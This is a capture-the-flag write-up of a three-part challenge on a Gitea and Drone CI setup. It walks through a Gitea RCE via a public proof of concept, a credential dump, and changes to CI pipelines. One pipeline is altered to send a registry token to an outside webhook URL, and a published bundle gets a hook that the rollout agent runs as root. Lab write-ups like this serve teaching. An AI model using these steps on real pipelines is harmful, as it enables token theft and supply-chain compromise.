The Three Ways

Flow

Description

Difficulty: Medium Author: Quack

Team, we did it. We have officially eliminated friction. Permission gates? Deprecated. Approval queues? A fixed mindset we’ve chosen to leave behind. Here at Brunnerne Inc.™, value flows left to right, unblocked, empowered and self-service.

Onboarding note for our new contractors: Welcome aboard! Your access is intentionally minimal, go create beautiful value for our shareholders. We’re certain you will go down in history!

Credentials: brunner_dev:dev_go_brr

NOTE: Please allow up to 5 minutes for the challenge to become ready.

Flow

Woooo, part one! We’re presented with two links, one for gitea and one for drone.

Logging into gitea, we have no repos. Logging into drone, we have no repos.

Now, since being very employed, i’ve done quite a lot of HTB lately, and therefore recently did a box where the foothold was abusing a CVE in gitea, so ofc i go googling “gitea RCE CVE”, quickly scroll past the ai overview, and see a lot of mentions of “CVE-2026-60004”, which works on gitea versions before 1.27.1, and guess what?

Gitea version

One minor version below vulnerable! After googling “GITEA CVE-2026-60004 POC GITHUB”, i’m led to this repo: https://github.com/0xBlackash/CVE-2026-60004, which has a working PoC (except for a small missing SHA field in the post to diffpatch, which i manually put in, just posting “sha”: “lmao”)

RCE

Finding the flag! (i thought)

Here, i spent a LONG time looking around for a flag, because why wouldn’t the flag be here? but find / | grep flag.txt returned nothing, so i start looking around! And after a while, i read /config/*, which returns this:

owner,repo,collaborator,permission
brunner_admin,hello-drone,brunner_ci,write
brunner_ops,deploy-tools,brunner_ci,read
cat: read error: Is a directory
name,visibility,owner
brunner_registry,private,brunner_svc
cat: read error: Is a directory
cat: read error: Is a directory
owner,name,private,ci
brunner_admin,hello-drone,false,true
brunner_ops,ci-bootstrap,false,false
brunner_ops,deploy-tools,true,true
brunner_ops,internal-deploy,true,true
owner,repo,name,value,pull_request
brunner_ops,deploy-tools,registry_token,${REGISTRY_READ_TOKEN},1
brunner_ops,internal-deploy,registry_token,${REGISTRY_WRITE_TOKEN},0
owner,name,scopes
brunner_svc,ci-read,read:package
brunner_svc,ci-publish,write:package
username,email,password,admin,visibility
brunner_admin,admin@example.com,10fdf3314adf503c28658b5829e69c06cfabe061c09365b1e2959d45fae807a6,true,public
brunner_dev,dev@example.com,dev_go_brr,false,public
brunner_ops,ops@example.com,brunner_0ps_d3pl0y_k3y_pls_no_share,false,public
brunner_ci,ci@example.com,9d41c07be5a8426fa3c15b2e70f8d63a,false,public
brunner_svc,svc@example.com,4c1f7e0b93a64d5f8072bd1ac6e35914,false,private

wooo, password to log in as brunner_ops!

Brunner_ops has three repos, internal-deploy, deploy-tools (which are both private), and ci-bootstrap (which is not), and no previous runs in drone ci-bootstrap didn’t feel too important so I skipped over it, straight to internal-deploy, which had a few files:

internal-deploy repo

Actually getting the flag!

Knowing we have drone, i’m thinking next steps gotta be some CI stuff, so looking at internal-deploy/.drone.yml was an obvious next step:

kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: build
    commands:
      - VERSION=$(cat VERSION)
      - python deploy.py "$VERSION"
      - mkdir -p dist
      - printf 'ROLLOUT_VERSION=%s\nROTATION_CODE=%s\n' "$VERSION" "$ROTATION_CODE" > dist/deploy.env
      - git clone -q --depth 1 https://gitea-the-three-ways-flow-f19421d0d517b294-global.challs.brunnerne.xyz/brunner_ops/deploy-tools.git /tmp/deploy-tools
      - sh /tmp/deploy-tools/make-bundle.sh ./bundle-src "$VERSION"

  - name: publish
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - VERSION=$(cat VERSION)
      - . /etc/platform/registry.conf
      - >
        curl -sf -H "Authorization: token $REGISTRY_TOKEN"
        --upload-file "dist/$REGISTRY_PACKAGE-$VERSION.tar.gz"
        "$REGISTRY_URL/$REGISTRY_PACKAGE/$VERSION/$REGISTRY_PACKAGE-$VERSION.tar.gz"   

Lotta cool things here! Lets see what happens if we run it by just adding #test anywhere:

internal service droneci

Oh, it fails! At least we know it runs on commits, so lets pull some info.

I add:

      - cat /etc/platform/registry.conf
      - ps aux
      - find / | grep flag.txt

to the publish step, remove the -s from the “upload-file” curl call and commit:

internal-deploy build fail

Ah, fails even earlier!

internal-deploy build fail logs

So we fail on build because deploy-tools already exists. Having made a CI challenge previously where, in the playtest, the ci was broken cause i was lazy, i wanted to call the author lazy, but when i later figured out you’re not even supposed to do this, i forgive him! Let’s do rm -rf /tmp/deploy-tools before the git clone, so we can get to our commands!

/etc/platform/registry.conf isn’t really too interesting (yet):

REGISTRY_API=https://gitea-the-three-ways-flow-f19421d0d517b294-global.challs.brunnerne.xyz/api/v1
REGISTRY_URL=https://gitea-the-three-ways-flow-f19421d0d517b294-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic
REGISTRY_ORG=brunner_registry
REGISTRY_PACKAGE=rollout-bundle
ROLLOUT_LOG=/var/log/rollout/agent.log

But! find finds a flag at /home/drone/flag.txt, so only thing left is to cat it. I also noted down the registry_token for later, attempted usage. Let’s cat that baby!

flow flag

Continuous Improvement

Description

Difficulty: Medium-Hard Author: Quack

The dream is finally live: fully autonomous continuous delivery. Our rollout agent installs the latest and greatest across the entire fleet, all by itself, no humans required. It’s tireless, it’s trusting and it runs with the utmost privilege, because we believe in it.

Some colleagues asked about signing artifacts. We’ve added that to the backlog, right behind the cake budget.

The flag is in /root/flag.txt.

NOTE: This challenge can only be completed after solving The Three Ways - Feedback. <—– lie

Privesc!

So, despite this being the third flag, this was the 2nd flag i got (as many others), so i’ll put it here, for chronological reasons. I did actually get some nice usage out of the small hint in the Feedback description, namely

Rest assured: our secrets are handled to industry-adjacent standards and our logs are appropriately redacted.

From the previous run, we see a few things running in ps aux:

ps aux result

Lets read the two running python files. I’m going to skip over pip-entrypoint.sh, because it’s not relevant for the challenge (it’s legit just how rollout_agent runs, and some initial setup of drone/registry stuff) The interesting file is rollout-agent.py. It’s a big file so i’m just going to paste interesting parts of it:

def tick(conf, rejected):
    package = conf["REGISTRY_PACKAGE"]
    installed = INSTALLED.read_text(encoding="utf-8").strip() if INSTALLED.is_file() else ""

    candidates = []
    for version in published_versions(conf):
        if version in rejected:
            continue
        if not VERSION_RE.match(version):
            if version not in rejected:
                rejected.add(version)
                log("ignoring %s %s: unusable version string" % (package, version))
            continue
        if installed and parse_version(version) <= parse_version(installed):
            continue
        candidates.append(version)

ticks runs every 30 sec, and fetches the newest version of the REGISTRY_PACKAGE

    hook = (manifest.get("hooks") or {}).get("postinstall")
    if not hook:
        raise ValueError("manifest declares no hooks.postinstall")
    if hook.startswith("/") or ".." in pathlib.PurePosixPath(hook).parts:
        raise ValueError("hooks.postinstall must be a relative path in the bundle: %r" % hook)
    if hook not in present:
        raise ValueError("hooks.postinstall %r is not in the bundle" % hook)
    return hook

Additionally, it gets a hook from the manifest in the bundle and:


def run_hook(target, hook, version):
    environment = {
        "PATH": "/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin",
        "HOME": "/root",
        "ROLLOUT_VERSION": version,
        "ROLLOUT_ROOT": str(target),
    }
    try:
        proc = subprocess.run(
            ["/bin/sh", hook],
            cwd=str(target),
            env=environment,
            capture_output=True,
            text=True,
            timeout=HOOK_TIMEOUT,
        )
    except subprocess.TimeoutExpired:
        log("postinstall for %s timed out after %ds" % (version, HOOK_TIMEOUT))
        return
    for stream, label in ((proc.stdout, "out"), (proc.stderr, "err")):
        for line in (stream or "").splitlines():
            log("postinstall %s %s: %s" % (version, label, line))
    log("postinstall for %s exited %d" % (version, proc.returncode))

executes said hook! wooo, we got RCE if we can create a new bundle! But how do we make a new bundle? Remember earlier, when i said the internal-deploy CI failed because of the curl? From the CI logs, we can see that its because the registry token used in internal-deploy doesn’t have write permissions to the registry! (401)

curl failure

I looked a bit around on the gitea server (still running the POC whenever i needed to run a command), but didn’t find a better registry token! Then, I took a look at deploy-tools, which also does CI stuff, with this .drone.yml file:

kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh verify-release.sh

And this is verify-release.sh

#!/bin/sh
set -eu

. /etc/platform/registry.conf

: "${REGISTRY_TOKEN:?REGISTRY_TOKEN is not set}"

VERSION=$(curl -sf -H "Authorization: token $REGISTRY_TOKEN" \
  "$REGISTRY_API/packages/$REGISTRY_ORG?type=generic&q=$REGISTRY_PACKAGE" \
  | python -c 'import json, sys; from bundle import newest
print(newest([p["version"] for p in json.load(sys.stdin) if p["name"] == sys.argv[1]]) or "")' \
  "$REGISTRY_PACKAGE")

[ -n "$VERSION" ] || { echo "the registry has no published versions" >&2; exit 1; }
echo "newest published version: $VERSION"

WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT

curl -sf -H "Authorization: token $REGISTRY_TOKEN" \
  -o "$WORK/$REGISTRY_PACKAGE-$VERSION.tar.gz" \
  "$REGISTRY_URL/$REGISTRY_PACKAGE/$VERSION/$REGISTRY_PACKAGE-$VERSION.tar.gz"

tar -xzf "$WORK/$REGISTRY_PACKAGE-$VERSION.tar.gz" -C "$WORK"
( cd "$WORK/bundle" && sha256sum -c SHA256SUMS )
echo "$REGISTRY_PACKAGE $VERSION verified"

So, deploy-tools also interacts with the registry, how about we try stealing the token from this repo? (this was not my initial thinking, and was only something i thought about after a shower, a walk and a lot of head scratching, just before someone assumes i just do stupid stuff and get lucky (i do but not this time))

So, i update

curl -sf -H "Authorization: token $REGISTRY_TOKEN" \
  -o "$WORK/$REGISTRY_PACKAGE-$VERSION.tar.gz" \
  "$REGISTRY_URL/$REGISTRY_PACKAGE/$VERSION/$REGISTRY_PACKAGE-$VERSION.tar.gz"

in verify-release.sh to

content=$(echo "curl -sf -H \"Authorization: token $REGISTRY_TOKEN\" -o \"$WORK/$REGISTRY_PACKAGE-$VERSION.tar.gz\" \"$REGISTRY_URL/$REGISTRY_PACKAGE/$VERSION/$REGISTRY_PACKAGE-$VERSION.tar.gz\"")

curl https://webhook.site/d33ed972-897a-4f4d-ab41-078e0bba32d6 -d "$content"

so i get a nice curl command of whatever this script is doing, and commit (ofc not before doing one commit without escaping the quotes, so content i receive is just the word “curl”, and forgetting to quote $content, so i just get the word “curl” again).

curl -sf -H "Authorization: token 1e6c46023189ed776cb8acee06036e6f255cf7c4" -o "/tmp/tmp.kkDahG/rollout-bundle-1.5.0.tar.gz" "https://gitea-the-three-ways-flow-f19421d0d517b294-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic/rollout-bundle/1.5.0/rollout-bundle-1.5.0.tar.gz"

beautiful! A token! Hardcoded it in the internal-deploy, and voilà, the build failed with 409 (because the package version 1.5.0 already exists). Let’s update VERSION, and while we’re at it, lets update the hook that the rollout_agent will run as well. I added find / | grep flag.txt to it, and committed

internal-deploy green pipeline

Green pipeline! Been a while! Unsure if you guys remember registry.conf, but it had this line: ROLLOUT_LOG=/var/log/rollout/agent.log, so lets throw cat /var/log/rollout/agent.log into our internal-deploy pipeline and see what we get

root flag

Alright, so root flag is at /root/flag.txt, lets add cat /root/flag.txt to our POSTINSTALL (and bump the VERSION once again)!

root actual flag

Feedback

Description

Difficulty: Medium-Hard Author: Quack

Brunnerne is a blameless, feedback-rich organisation. Every pull request runs our world-class verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. We’re inclusive like that.

Rest assured: our secrets are handled to industry-adjacent standards and our logs are appropriately redacted.

NOTE: This challenge can only be completed after solving The Three Ways - Flow.

So, now we need to go back to Feedback, because the above flag was for Continous Improvement! I spent a while looking around for this flag (grep -r "brunner{" / on both gitea, which didn’t return a new flag, and drone, which timed out). After looking more around on the gitea server, i did notice some previous versions of our registry package, and using the earlier stolen command from deploy-tools (with some jq):

curl -sf -H "Authorization: token d1a83b1ce325475ed64706df6d416546f32aa327" "https://gitea-the-three-ways-flow-29f9d469fe4903dd-danmark.challs.brunnerne.xyz/api/v1/packages/brunner_registry?type=generic

We get quite a few packages back (not pasting it here cause its a big ugly response), but we can do some quick bash to pull all of them (i did have to read up on the gitea registry format for this, as the author intended):

for VERSION in 1.4.2 1.4.0 1.5.0;
do
  curl -sf -H "Authorization: token d1a83b1ce325475ed64706df6d416546f32aa327" \
  -o $VERSION.tar.gz \
    "https://gitea-the-three-ways-flow-f19421d0d517b294-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic/rollout-bundle/$VERSION/rollout-bundle-$VERSION.tar.gz"
  tar -xvf $VERSION.tar.gz
done

and bada-boom,

feedback deploy env

reading bundle/config/deploy.env gives us a flag!